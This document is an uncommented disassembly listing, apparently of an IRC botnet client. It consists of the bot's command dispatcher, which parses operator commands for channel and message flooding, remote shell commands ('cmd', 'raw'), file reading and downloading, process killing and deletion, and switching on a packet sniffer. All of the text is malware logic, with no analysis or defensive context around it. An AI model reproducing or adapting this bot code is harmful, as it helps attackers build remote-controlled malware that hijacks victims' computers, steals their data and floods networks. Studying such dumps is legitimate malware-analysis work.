		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFE
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFE
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A60
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42BC00
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404CFE:				; CODE XREF: sub_401ACD+31BAj
					; sub_401ACD+31C0j ...
		push	[ebp+arg_10]
		push	offset dword_42BBFC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D6A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D6A
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404D6A:				; CODE XREF: sub_401ACD+3242j
					; sub_401ACD+324Dj
		push	[ebp+arg_10]
		push	offset dword_42BBE4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD6
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD6
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBD0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404DD6:				; CODE XREF: sub_401ACD+32AEj
					; sub_401ACD+32B9j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E42
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E42
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404E42:				; CODE XREF: sub_401ACD+331Aj
					; sub_401ACD+3325j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAE
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAE
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404EAE:				; CODE XREF: sub_401ACD+3386j
					; sub_401ACD+3391j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EED
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EED
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404EED:				; CODE XREF: sub_401ACD+33F2j
					; sub_401ACD+33FDj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404F2C:				; CODE XREF: sub_401ACD+3431j
					; sub_401ACD+343Cj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F70
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F70
		push	offset dword_427638
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404F70:				; CODE XREF: sub_401ACD+3470j
					; sub_401ACD+347Bj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE9
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE9
		nop
		call	near ptr 26B084Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB60
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404FE9:				; CODE XREF: sub_401ACD+34B4j
					; sub_401ACD+34BDj
		push	[ebp+arg_10]
		push	offset dword_42BB4C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405136
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405136
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427638
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405136:				; CODE XREF: sub_401ACD+352Dj
					; sub_401ACD+353Aj
		push	[ebp+arg_10]
		push	offset dword_42BB48
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051D0
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051D0
		nop
		call	near ptr 26B084Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 24h


loc_4051D0:				; CODE XREF: sub_401ACD+367Aj
					; sub_401ACD+3687j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D2
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D2
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_4052D2:				; CODE XREF: sub_401ACD+3714j
					; sub_401ACD+3723j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405319
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_405319:				; CODE XREF: sub_401ACD+3816j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405408
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405408
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405408:				; CODE XREF: sub_401ACD+385Dj
					; sub_401ACD+386Aj
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F7
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_4054F7:				; CODE XREF: sub_401ACD+394Cj
					; sub_401ACD+3959j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560E
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560E
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAD8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAC0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAA8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAA8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_40560E:				; CODE XREF: sub_401ACD+3A3Bj
					; sub_401ACD+3A48j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405734
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405734
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAD8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405734:				; CODE XREF: sub_401ACD+3B52j
					; sub_401ACD+3B5Fj
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40577A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40577A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_40577A:				; CODE XREF: sub_401ACD+3C78j
					; sub_401ACD+3C83j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C4
		mov	edi, offset dword_4D46EC


loc_405796:				; CODE XREF: sub_401ACD+3CE8j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A9
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A9
		push	eax
		call	dword_4CB6EC


loc_4057A9:				; CODE XREF: sub_401ACD+3CCDj
					; sub_401ACD+3CD3j
		add	edi, 210h
		cmp	edi, offset dword_4DAE0C
		jl	short loc_405796
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C4
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BA48
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4062C4
; ---------------------------------------------------------------------------


loc_4057DF:				; CODE XREF: sub_401ACD+3196j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7C
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C42
		push	20h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405B6C
		push	offset dword_42B94C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405B6C:				; CODE XREF: sub_401ACD+4093j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAE
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAE
		mov	esi, [ebp+var_88]


loc_405BAE:				; CODE XREF: sub_401ACD+40C3j
					; sub_401ACD+40D9j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B91C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset word_411FD6
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405C31


loc_405C1B:				; CODE XREF: sub_401ACD+4162j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_405C1B
; ---------------------------------------------------------------------------


loc_405C31:				; CODE XREF: sub_401ACD+414Cj
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset dword_42B8E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C42:				; CODE XREF: sub_401ACD+4083j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	20h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C72
		push	eax
		push	offset dword_42B8A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C72:				; CODE XREF: sub_401ACD+4198j
		push	offset dword_42B878
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405C7C:				; CODE XREF: sub_401ACD+406Cj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCE
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D94
		push	21h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405CBE
		push	offset unk_42B850
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405CBE:				; CODE XREF: sub_401ACD+41E5j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405D00
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D00
		mov	esi, [ebp+var_88]


loc_405D00:				; CODE XREF: sub_401ACD+4215j
					; sub_401ACD+422Bj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B820
		push	eax
